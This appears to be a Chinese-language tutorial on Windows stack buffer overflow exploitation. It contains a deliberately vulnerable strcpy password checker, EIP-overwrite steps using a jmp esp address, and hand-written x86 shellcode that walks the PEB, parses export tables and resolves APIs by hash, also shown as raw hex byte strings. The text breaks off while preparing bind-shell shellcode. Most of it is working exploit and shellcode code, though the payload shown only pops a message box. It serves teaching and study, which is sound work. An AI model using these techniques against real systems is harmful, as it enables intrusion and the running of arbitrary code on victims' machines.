shellcode
造成软件漏洞的原因:
本质原因是因为人类目前还没有在原点上区分数据与代码,说白了就是目前人们还没理解编写安全代码的真正方法。
如何预防?
通过修改自身代码,公共库函数的安全性降低漏洞出现的频率,并且通过操作系统干预,使得漏洞攻击变得难以实现。
软件漏洞常见的名词:
Vulnerability 漏洞,计算机安全隐患
Exploit 漏洞利用
Shellcode 壳代码
Payload 有效荷载,payload是shellcode的一部分,shellcode的执行往往就是为了给payload代码开辟道路,说白了就是真正干坏事的代码。
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <iostream>
int checkPassword(const char* password) {
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
strcpy(buff, password);
return result;
}
int main() {
int falg = 0;
char password[0x500];
while (1) {
printf("请输入密码\n");
int result = scanf("%s",password);
falg = checkPassword(password);
if (falg) {
MessageBoxA(0, "密码错误", "提示", MB_OK);
}else {
MessageBoxA(0, "密码正确", "提示", MB_OK);
break;
}
}
return 0;
}
helloShellcode
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <iostream>
int checkPassword(const char* password) {
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
strcpy(buff, password);
return result;
}
int main() {
int flag = 0;
char password[0x500] = { 0 };
char buff[0x100] = { 0 };
FILE* fp;
if (NULL == (fp = fopen("password.txt", "rb"))) {
return 0;
}
fread(password, sizeof(password), 1, fp);
flag = checkPassword(password);
if (flag) {
MessageBoxA(NULL, "密码错误!", "提示", MB_OK);
}else {
MessageBoxA(NULL, "密码正确!", "提示", MB_OK);
}
fclose(fp);
system("pause");
return 0;
}
返回地址
004010F5
所谓的shellcode其实就是淹没到eip,让eip为我们想要的eip,即让程序去到我们的代码执行。
实现51hoook的shellcode总部后:
1.将ebp+4即EIP的值改为我们编写的代码所在的位置
2.编写shellcode
难点1:字符串的添加
难点2:MessageBoxA地址。
难点3:获取当前的EIP的值
77130BA0 MessageBoxA地址
771930EF jmp esp地址
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xB8\xA0\x0B\x13\x77\xFF\xD0"
填加了51hook
"\x68\x6F\x6B\x00\x00\x68\x35\x31\x68\x6F\x8B\xC4\x6A\x00\x6A\x00\x50\x6A\x00\xB8\xA0\x0B\x13\x77\xFF\xD0"
ExitProcess 0x76374100
#include <Windows.h>
#include <iostream>
void __declspec(naked) shellcode() {
__asm {
// 5 1 h o o k
// 0x35 0x31 0x68 0x6F 0x6F 0x6B
push 0x6B6F;
push 0x6F683135;
mov eax,esp; // 指向字符串的首地址
// 避免直接写0 会截断字符串
xor edi, edi;
push edi;
push edi;
push eax;
push edi;
mov eax, 0x77130BA0;
call eax;
mov eax, 0x76374100;
push edi;
call eax;
};
}
int main() {
LoadLibraryA("user32.dll");
printf("hello 51hook\n");
shellcode();
return 0;
}
"\x68\x6F\x6B\x00\x00\x68\x35\x31\x68\x6F\x8B\xC4\x33\xFF\x57\x57\x50\x57\xB8\xA0\x0B\x13\x77\xFF\xD0\xB8\x00\x41\x37\x76\x57\xFF\xD0"
TEB,PEB
知识补充:
Kernel32.dll user32.dll ntdll.dll
所有进程无论是窗口进程还是控制台进程,都会引用kernel32.dll
user32.dll窗口程序专用,封装了所有跟窗口操作相关的api
ntdll.dll,他是ring0的大门,无论是kernel32还是user32最终都会去调用ntdll.dll
1.TEB
线程环境块,说白了就是一个结构体,该结构体中保存了线程中的各种信息
typedef struct _TEB {
+0x00 :_NT_TIB NtTib;
+0x30:_PEB* PPEB ;
} TEB, * PTEB;
NtTib:线程信息块
typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union {
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;
} NT_TIB;
TEB的访问:
实验:分析API NtCurrentTab();
struct _PEB {
+0x00c :_PEB_LDR_DATA* Ldr;
}
struct _PEB_LDR_DATA {
+0x000 :Uint length;
+0x004 :Uchar initialized;
+0x008 :LVOID SsHandle;
+0x00c :_LIST_ENTRY InloadOrderMoudleList;//载入顺序排序的dll
+0x014 :_LIST_ENTRY InMemoryOrderMoudleList;//内存排序的DLL
+0x01c :_LIST_ENTRY InitalizationOrderMoudleList;//初始化排序的 ntdll kernel32.dll或者kernerbase.dll
。。。。
}
当dll文件加载后会ldr会存放模块信息。通过_LIST_ENTRY 双向链表可以遍历所有模块。
struct _LIST_ENTRY {
_LIST_ENTRY *Flink;//下一个结构体指针
_LIST_ENTRY *Blink;//上一个机构体指针
}
fs:[0x18]是TIB中的self指针,指向自己,即TIB的起始位置
然后TIB又位于TEB的首地址
那么fs就是TEB的首地址
那么fs:[0x30]就是PEB的首地址
mov esi,fs:[0x30] // 拿到PEB的地址
mov esi,[esi + 0xc] // 拿到ldr的地址
mov esi,[esi + 0x1c] // 拿到初始化的dll kernel32.dll kernelbase.dll
// 拿到下面初始化的LIST_ENTRY 两个指针八个字节然后就到dllBase了
// 第一个是ntdll 第二个是kernel32或者kernelbase 第三个是user32
mov esi,[esi] // 拿到Flink 即第二个dll文件信息
mov esi,[esi + 0x8]
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderMoudleList;
LIST_ENTRY InMemoryOrderMoudleList;
LIST_ENTRY InInitializationOrderMoudleList;
PVOID DllBase;//模块基址 GetMdouleHanlde 找到导出表 kernel32.dll “LoadLibraryA” “GetProcAdrress”
PVOID EntryPoint;
PVOID SizeOfImage;
PVOID FullDllName;
.....
}
优化shellcode
1、保存相关字符串
user32.dll、LoadLibraryA、GetProcAddress、MessageBoxA、hello 51hook
2、通过fs寄存器获取kernel32.dll基址
Mov esi,fs:[0x30]//PEB
Mov esi,[esi+0xc]//LDR结构体地址
Mov esi,[esi+0x1c]//list
Mov esi,[esi]//list第二项
Mov ecx,[esi,+0x8]//kernel32.dll基址
3、获取导出表 根据导出表查找需要的函数
MyGetProcAddress(imageBase,funName,strlen)
ImageBase+0x3C=NT头
NT头+0x78=dataDirectory第一项 导出表
EAT=导出表+0x1c 导入地址表
ENT=导出表+0X20 导入名称表
EOT=导出表+0x24 导入序号表
4、字符串比较函数
Repe cmpsb 字符比较,edi 与esi地址的值按字节进行比较,ecx为0或者比较结果不相同时候停止DF循环。循环结束后将设置ZF标志位
5、payload函数:(stradd)
通过调用以上各个功能实现输出hello51hook
//LoadLibraryA 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 长度:0xD
//GetProcAddress 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 长度:0xF
//user32.dll 75 73 65 72 33 32 2E 64 6C 6C 00 长度:0xB
//MeesageBoxA 4D 65 73 73 61 67 65 42 6F 78 41 00 长度:0xC
//hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00 长度:0xD
#include <Windows.h>
#include <iostream>
void __declspec(naked) shellCode() {
__asm {
//LoadLibraryA 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 长度:0xD
//GetProcAddress 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 长度:0xF
//user32.dll 75 73 65 72 33 32 2E 64 6C 6C 00 长度:0xB
//MeesageBoxA 4D 65 73 73 61 67 65 42 6F 78 41 00 长度:0xC
//hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00 长度:0xD
pushad;// 保存所有的寄存器
sub esp, 0x30; // 提升栈顶
// 因为push是四个字节的操作,就算是使用16位的寄存器也要两个字节,我们要节省空间
// 1、保存相关字符串
// hello 51hook
mov byte ptr [esp - 1], 0x0;
sub esp, 0x1; // 这样就完成了一个字节的入栈操作
push 0x6B6F6F68;
push 0x3135206F;
push 0x6c6c6568;
// MeesageBoxA
push 0x0041786F;
push 0x42656761;
push 0x7373654D;
// user32.dll
mov byte ptr [esp - 1], 0x0;
sub esp, 0x1;
mov ax, 0x6C6C;
mov word ptr [esp - 2], ax;
sub esp, 0x2;
push 0x642E3233;
push 0x72657375;
// GetProcAddress
mov byte ptr ds:[esp - 1],0x0;
sub esp, 0x1;
mov ax, 0x7373;
mov word ptr ds:[esp - 2],ax;
sub esp, 0x2;
push 0x65726464;
push 0x41636F72;
push 0x50746547;
// LoadLibraryA
mov byte ptr ds:[esp-1] , 0x0;
sub esp, 0x1;
push 0x41797261;
push 0x7262694C;
push 0x64616F4C;
mov ecx, esp;
push ecx; // 字符串首地址
call fun_payload;
// popad; // 还原寄存器环境
// 2、通过fs寄存器获取kernel32.dll基址
fun_GetModule:
push ebp; // 保存栈底
mov ebp, esp; // 提升栈底到当前栈顶
sub esp, 0xC; // 提升栈顶
push esi; // 保存要用到的寄存器
mov esi, dword ptr fs: [0x30]; // 拿到PEB
mov esi, [esi + 0xC]; // 拿到ldr
mov esi, [esi + 0x1C]; // 拿到ntdll LIST_ENTRY
mov esi, [esi]; // 获取双向链表中的下一项 即kernel32 kernelbase.dll
mov esi, [esi + 0x8]; // 这样就拿到了模块基础地址ImageBase
mov eax, esi; // 保存返回值
pop esi; // 还原寄存器环境
mov esp, ebp; // 还原栈顶
pop ebp; // 还原栈底
retn; // pop eip
// 3、获取导出表 根据导出表查找需要的函数 传入ImageBase funName 和 strlen
fun_GetProcAddr:
push ebp; // 保存栈底
mov ebp, esp; // 提升栈底到当前栈顶
sub esp, 0x20; // 提升栈顶
push ecx; // 保存可能用到的寄存器环境
push edx;
push esi;
push edi;
mov edx, [ebp + 0x8]; // edx = ImageBase = DllBase 模块基址
mov esi, [edx + 0x3C]; // lf_anew 距离pe文件的偏移
lea esi, [edx + esi]; // 获取Nt头即Pe头的地址
mov esi, [esi + 0x78]; // 导出表的Rva
lea esi, [esi + edx]; // Rva + dllBase = 真正的导出表的地址
mov edi, [esi + 0x1C]; // EAT 导出地址表的Rva
lea edi, [edi + edx]; // 真正的导出表地址
mov [ebp - 0x4], edi; // 第一个局部变量保存导出地址表的地址
mov edi, [esi + 0x20]; // ENT 导出名称表的Rva
lea edi, [edi + edx]; // 真正导出表的地址
mov [ebp - 0x8], edi; // 第二个局部变量保存导出名称表的地址
mov edi, [esi + 0x24]; // ROT 导出序号表的Rva
lea edi, [edi + edx]; // 真正的导出序号表的地址
mov [ebp - 0xC], edi; // 第三个局部变量是导出序号表的地址
// 第一个局部变量导出地址表 第二个导出名称表 第三个导出序号表 edx模块基址
cld; // 设置df寄存器为0 递增方向
xor eax, eax; // 循环变量
jmp tag_begincmp; // 开始比较 刚开始不需要自增
tag_cmpLoop:
inc eax; // 循环变量自增操作
tag_begincmp:
// 循环比较,找到我们要的函数的地址
mov esi, [ebp - 0x8]; // 我们的导出名称表地址
mov esi, [esi + eax * 4]; // 取的表的每一项名称RVA
mov edx, [ebp + 0x8]; //dllbase
lea esi, [esi + edx]; // 加上偏移 拿到真正的名称位置
mov edi, [ebp + 0xC]; // 我们的函数参数 函数名称
mov ecx, [ebp + 0x10]; // 第三个函数参数就是我们的字符串长度
repe cmpsb; // 循环比较
jne tag_cmpLoop; // 不相等继续比较
// 如果相等的话,eax是数组索引,导出序号表的索引跟导出名称表是一一对应的
mov esi, [ebp - 0xC]; // 取出EOT的地址
xor edi, edi;
mov di, [esi + eax * 2]; // 取出来导出序号表中对应的项中的值 就是导出地址表的索引
mov ebx, [ebp - 0x4]; // 取出EAT的地址
mov ebx, [ebx + edi * 4]; // 取出真正的地址 rva
mov edx, [ebp + 0x8]; // dllbase
lea eax, [edx + ebx]; // dllbase + 函数地址的rva = 真正的函数地址 eax = 返回值
pop edi; // 还原用到的寄存器环境
pop esi;
pop edx;
pop ecx;
mov esp, ebp; // 还原栈顶
pop ebp; // 还原栈底
retn 0xC; // pop eip + 堆栈内平衡
// 我们真正干坏事的代码
fun_payload:
push ebp; // 保存栈底
mov ebp, esp; // 提升栈底
sub esp, 0x20; // 提升栈顶
push esi; // 保存要用到的寄存器环境
push edi;
push edx;
push ebx;
push ecx;
// 1.先拿到我们的dllBase
call fun_GetModule; // 这样就拿到了kernel32或者kernelbase的地址
mov [ebp - 0x4], eax; // 第一个局部变量 = imageBase = dllBase
// 2.获取LoadLibraryA
push 0xD; // LoadLibraryA的字符串长度
mov ecx, [ebp + 0x8]; // 获取字符串的首地址 刚好是LoadLibraryA
push ecx; // LoadLibraryA的字符串首地址
push [ebp - 0x4]; // 传入dllBase
call fun_GetProcAddr; // 获取函数的地址
mov [ebp - 0x8], eax; // 第二个局部变量 = LoadLibraryA
// 3.获取GetProcAddress
push 0xF; // GetProcAddress的字符串长度
mov ecx, [ebp + 0x8];
lea ecx, [ecx + 0xD]; // GetProcAddress的字符串首地址
push ecx; // GetProcAddress的字符串首地址
push [ebp - 0x4]; // 传入dllBase
call fun_GetProcAddr; // 获取函数的地址
mov [ebp - 0xC], eax; // 第三个局部变量 = GetProcAddress
// 4.加载user32.dll
mov ecx, [ebp + 0x8];
lea ecx, [ecx + 0x1C]; // user32.dll的字符串首地址
push ecx; // user32.dll的字符串首地址
call [ebp - 0x8]; // 调用LoadLibraryA
mov [ebp - 0x10], eax;// 第四个局部变量 = user32.dll
// 5.调用GetProcAddress获取MessageBoxA的地址
mov ecx, [ebp + 0x8];
lea ecx, [ecx + 0x27];
push ecx; // MessageBoxA的字符串地址
push [ebp - 0x10]; // user32.dll的地址
call [ebp - 0xC];//call GetProcessAddr
// 6.调用MessageBoxA
push 0;
push 0;
mov ecx, [ebp + 0x8];
lea ecx, [ecx + 0x33];
push ecx; // hello 51hook
push 0;
call eax; // 调用MessageBoxA
pop ecx; // 还原用到的寄存器环境
pop ebx;
pop edx;
pop edi;
pop esi;
mov esp, ebp; // 还原栈顶
pop ebp; // 还原栈底
retn 0x4; // pop eip + 堆栈内平衡
};
}
int main() {
printf("hello 51hook");
shellCode();
return 0;
}
"\x60\x83\xEC\x30\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8F\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x51\x52\x56\x57\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x16\x8B\x7E\x1C\x8D\x3C\x17\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x17\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x17\x89\x7D\xF4\xFC\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x16\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xE9\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x5D\xFC\x8B\x1C\xBB\x8B\x55\x08\x8D\x04\x1A\x5F\x5E\x5A\x59\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x61\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\xFF\x75\xFC\xE8\x70\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8B\x4D\x08\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x5C\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\xD0\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00"
调试shellcode
#include <Windows.h>
#include <iostream>
char shellocde[] = "\x60\x83\xEC\x30\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8F\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x51\x52\x56\x57\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x16\x8B\x7E\x1C\x8D\x3C\x17\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x17\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x17\x89\x7D\xF4\xFC\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x16\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xE9\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x5D\xFC\x8B\x1C\xBB\x8B\x55\x08\x8D\x04\x1A\x5F\x5E\x5A\x59\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x61\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\xFF\x75\xFC\xE8\x70\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8B\x4D\x08\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x5C\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\xD0\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00";
int main() {
printf("hello 51hook");
_asm {
lea eax,shellocde;
push eax; // 拿到shellcode的地址push 进去,那么当前的esp就指向我们的shellcode
retn; // retn 这里就相当于pop eip eip = esp 即shellcode的地址
};
return 0;
}
如何定位溢出点
Fuzz(模糊测试)
A0A1A2A3A4A5A6A7A8A9B0B1B2B3B4B5B6B7B8B9C0C1C2C3C4C5C6C7C8C9D0D1D2D3D4D5D6D7D8D9E0E1E2E3E4E5E6E7E8E9F0F1F2F3F4F5F6F7F8F9G0G1G2G3G4G5G6G7G8G9H1H2H3H4H5H6H7H8H9I0I1I2I3I4I5I6I7I8I9J0J1J2J3J4J5J6J7J8J9K0K1K2K3K4K5K6K7K8K9
771930EF jmp esp地址
Shellcode瘦身
1.瘦身前提:在很多攻击环境下,对于我们的shellcode的大小是有严格的限制的,我们实现一个hello51hook使用了以下的字符串
LoadLibraryA
GetProcAddress
user32.dll
MeesageBoxA
hello 51hook
2、使用Hash算法对我们使用的字符串进行编码。
DWORD getHashCode(char *strname)
{
DWORD digest = 0;
while (*strname)
{
digest = (digest<<25 | digest>>7);
digest = digest + *strname;
strname++;
}
return digest;
}
#include <Windows.h>
#include <iostream>
DWORD getHashCode(char* strname)
{
DWORD digest = 0;
while (*strname)
{
digest = (digest << 25 | digest >> 7);
digest = digest + *strname;
strname++;
}
return digest;
}
void __declspec(naked) asmHashCode() {
__asm {
push ebp; // 保存栈底
mov ebp, esp; // 提升栈底
sub esp, 0x4; // 提升栈顶
push ecx; // 保存要用到的寄存器环境
push edx;
push ebx;
push edi;
push esi;
mov dword ptr [ebp - 0x4], 0x0; // 定义局部变量 digest = 0
xor ecx, ecx; // 循环变量
mov esi, [ebp + 0x8]; // 我们的字符串参数
tag_hashLoop:
xor eax, eax; // 清空eax
mov al, byte ptr [esi + ecx]; // 取出字符串当前字节
test al,al; // 判断al是否为0
jz tag_end;
// 循环
mov ebx, dword ptr [ebp - 0x4];
shl ebx, 0x19; // 左移25位
mov edx, dword ptr [ebp - 0x4];
shr edx, 0x7; // 右移7位
or ebx, edx; // 或运算
add ebx, eax; // 然后相加字符串
mov dword ptr[ebp - 0x4], ebx; // 然后把结果写回去
inc ecx; // ecx++
jmp tag_hashLoop;
tag_end:
mov eax, dword ptr[ebp - 0x4]; // 保存返回值
pop esi; // 还原寄存器环境
pop edi;
pop ebx;
pop edx;
pop ecx;
mov esp, ebp; // 还原栈顶
pop ebp; // 还原栈底
retn 0x4; // pop eip + 内堆栈平衡
};
}
char strname[] = "heheheh";
int main() {
__asm {
lea eax,strname;
push eax;
call asmHashCode;
};
DWORD result = getHashCode(strname);
return 0;
}
bindShellcode准备
#include <Windows.h>
#include <iostream>
void __declspec(naked) shellCode() {
__asm {
// user32.dll 75 73 65 72 33 32 2E 64 6C 6C 00 长度:0xB
// hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00 长度:0xD
// kernel32.dll 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00
// ExitProcess 0x4FD18963
// LoadLibraryA:0XC917432
// GetProcAddress:0XBBAFDF85
// MessageBoxA:0x1E380A6A
pushad;// 保存所有的寄存器
sub esp, 0x30; // 提升栈顶
// 因为push是四个字节的操作,就算是使用16位的寄存器也要两个字节,我们要节省空间
// 1、保存相关字符串
//kenerl32.dll
mov byte ptr ds:[esp - 1],0x0;
sub esp, 0x1;
push 0x6C6C642E;
push 0x32336C65;
push 0x6E72656B;
// hello 51hook
mov byte ptr [esp - 1], 0x0;
sub esp, 0x1; // 这样就完成了一个字节的入栈操作
push 0x6B6F6F68;
push 0x3135206F;
push 0x6c6c6568;
// user32.dll
mov byte ptr [esp - 1], 0x0;
sub esp, 0x1;
mov ax, 0x6C6C;
mov word ptr [esp - 2], ax;
sub esp, 0x2;
push 0x642E3233;
push 0x72657375;
mov ecx, esp;
push ecx; // 字符串首地址
call fun_payload;
// popad; // 还原寄存器环境
// 2、通过fs寄存器获取kernel32.dll基址
fun_GetModule:
push ebp; // 保存栈底
mov ebp, esp; // 提升栈底到当前栈顶
sub esp, 0xC; // 提升栈顶
push esi; // 保存要用到的寄存器
mov esi, dword ptr fs: [0x30]; // 拿到PEB
mov esi, [esi + 0xC]; // 拿到ldr
mov esi, [esi + 0x1C]; // 拿到ntdll LIST_ENTRY
mov esi, [esi]; // 获取双向链表中的下一项 即kernel32 kernelbase.dll
mov esi, [esi + 0x8]; // 这样就拿到了模块基础地址ImageBase
mov eax, esi; // 保存返回值
pop esi; // 还原寄存器环境
mov esp, ebp; // 还原栈顶
pop ebp; // 还原栈底
retn; // pop eip
// 3、获取导出表 根据导出表查找需要的函数 传入ImageBase funHash
fun_GetProcAddr:
push ebp; // 保存栈底
mov ebp, esp; // 提升栈底到当前栈顶
sub esp, 0x20; // 提升栈顶
push ecx; // 保存可能用到的寄存器环境
push edx;
push esi;
push edi;
mov edx, [ebp + 0x8]; // edx = ImageBase = DllBase 模块基址
mov esi, [edx + 0x3C]; // lf_anew 距离pe文件的偏移
lea esi, [edx + esi]; // 获取Nt头即Pe头的地址
mov esi, [esi + 0x78]; // 导出表的Rva
lea esi, [esi + edx]; // Rva + dllBase = 真正的导出表的地址
mov edi, [esi + 0x1C]; // EAT 导出地址表的Rva
lea edi, [edi + edx]; // 真正的导出表地址
mov [ebp - 0x4], edi; // 第一个局部变量保存导出地址表的地址
mov edi, [esi + 0x20]; // ENT 导出名称表的Rva
lea edi, [edi + edx]; // 真正导出表的地址
mov [ebp - 0x8], edi; // 第二个局部变量保存导出名称表的地址
mov edi, [esi + 0x24]; // ROT 导出序号表的Rva
lea edi, [edi + edx]; // 真正的导出序号表的地址
mov [ebp - 0xC], edi; // 第三个局部变量是导出序号表的地址
// 第一个局部变量导出地址表 第二个导出名称表 第三个导出序号表 edx模块基址
cld; // 设置df寄存器为0 递增方向
xor eax, eax;
xor ebx, ebx; // 循环变量
jmp tag_begincmp; // 开始比较 刚开始不需要自增
tag_cmpLoop:
inc ebx; // 循环变量自增操作
tag_begincmp:
// 循环比较,找到我们要的函数的地址
mov esi, [ebp - 0x8]; // 我们的导出名称表地址
mov esi, [esi + ebx * 4]; // 取的表的每一项名称RVA
mov edx, [ebp + 0x8]; //dllbase
lea esi, [esi + edx]; // 加上偏移 拿到真正的名称位置
mov edi, [ebp + 0xC]; // 我们的函数参数 函数名称
push esi; // 传参
call fun_GetHashCode; // 获取ENT函数的hash值
cmp edi,eax;
jne tag_cmpLoop; // 不相等继续比较
// 如果相等的话,eax是数组索引,导出序号表的索引跟导出名称表是一一对应的
mov esi, [ebp - 0xC]; // 取出EOT的地址
xor edi, edi;
mov di, [esi + ebx * 2]; // 取出来导出序号表中对应的项中的值 就是导出地址表的索引
mov ebx, [ebp - 0x4]; // 取出EAT的地址
mov ebx, [ebx + edi * 4]; // 取出真正的地址 rva
mov edx, [ebp + 0x8]; // dllbase
lea eax, [edx + ebx]; // dllbase + 函数地址的rva = 真正的函数地址 eax = 返回值
pop edi; // 还原用到的寄存器环境
pop esi;
pop edx;
pop ecx;
mov esp, ebp; // 还原栈顶
pop ebp; // 还原栈底
retn 0x8; // pop eip + 堆栈内平衡
fun_GetHashCode:
push ebp; // 保存栈底
mov ebp, esp; // 提升栈底
sub esp, 0x4; // 提升栈顶
push ecx; // 保存要用到的寄存器环境
push edx;
push ebx;
push edi;
push esi;
mov dword ptr[ebp - 0x4], 0x0; // 定义局部变量 digest = 0
xor ecx, ecx; // 循环变量
mov esi, [ebp + 0x8]; // 我们的字符串参数
tag_hashLoop:
xor eax, eax; // 清空eax
mov al, byte ptr[esi + ecx]; // 取出字符串当前字节
test al, al; // 判断al是否为0
jz tag_end;
// 循环
mov ebx, dword ptr[ebp - 0x4];
shl ebx, 0x19; // 左移25位
mov edx, dword ptr[ebp - 0x4];
shr edx, 0x7; // 右移7位
or ebx, edx; // 或运算
add ebx, eax; // 然后相加字符串
mov dword ptr[ebp - 0x4], ebx; // 然后把结果写回去
inc ecx; // ecx++
jmp tag_hashLoop;
tag_end:
mov eax, dword ptr[ebp - 0x4]; // 保存返回值
pop esi; // 还原寄存器环境
pop edi;
pop ebx;
pop edx;
pop ecx;
mov esp, ebp; // 还原栈顶
pop ebp; // 还原栈底
retn 0x4; // pop eip + 内堆栈平衡
// 我们真正干坏事的代码
fun_payload:
push ebp; // 保存栈底
mov ebp, esp; // 提升栈底
sub esp, 0x20; // 提升栈顶
push esi; // 保存要用到的寄存器环境
push edi;
push edx;
push ebx;
push ecx;
// 1.先拿到我们的dllBase
call fun_GetModule; // 这样就拿到了kernel32或者kernelbase的地址
mov [ebp - 0x4], eax; // 第一个局部变量 = imageBase = dllBase
// user32.dll 75 73 65 72 33 32 2E 64 6C 6C 00 长度:0xB
// hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00 长度:0xD
// kernel32.dll 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00
// ExitProcess 0x4FD18963
// LoadLibraryA:0XC917432
// GetProcAddress:0XBBAFDF85
// MessageBoxA:0x1E380A6A
// 2.获取LoadLibraryA
push 0XC917432; // 现在fun_GetProcAddr里面是通过哈希值匹配的
push [ebp - 0x4]; // 传入dllBase
call fun_GetProcAddr; // 获取函数的地址
mov [ebp - 0x8], eax; // 第二个局部变量 = LoadLibraryA
// 3.获取GetProcAddress
push 0XBBAFDF85; // 现在fun_GetProcAddr里面是通过哈希值匹配的
push [ebp - 0x4]; // 传入dllBase
call fun_GetProcAddr; // 获取函数的地址
mov [ebp - 0xC], eax; // 第三个局部变量 = GetProcAddress
// 4.加载user32.dll
mov ecx, [ebp + 0x8];
push ecx; // user32.dll的字符串首地址
call [ebp - 0x8]; // 调用LoadLibraryA
mov [ebp - 0x10], eax;// 第四个局部变量 = user32.dll
// 5.调用GetProcAddress获取MessageBoxA的地址
push 0x1E380A6A; // MessageBoxA的字符串地址
push [ebp - 0x10]; // 传入user32.dll的模块基址
call fun_GetProcAddr; // 获取函数的地址
mov [ebp - 0x14], eax; // 第五个局部变量 MessageBox的地址
// 6.调用MessageBoxA
push 0;
push 0;
mov ecx, [ebp + 0x8];
lea ecx, [ecx + 0xB];
push ecx; // hello 51hook
push 0;
call [ebp - 0x14]; // 调用MessageBoxA
// 先拿到kernel32的基址
mov ecx, [ebp + 0x8];
lea ecx, [ecx + 0x18];
push ecx;
call [ebp - 0x8]; // 调用LoadLibraryA
mov [ebp - 0x18], eax//kener32.dll
// 拿到ExitProcess
push 0x4FD18963;
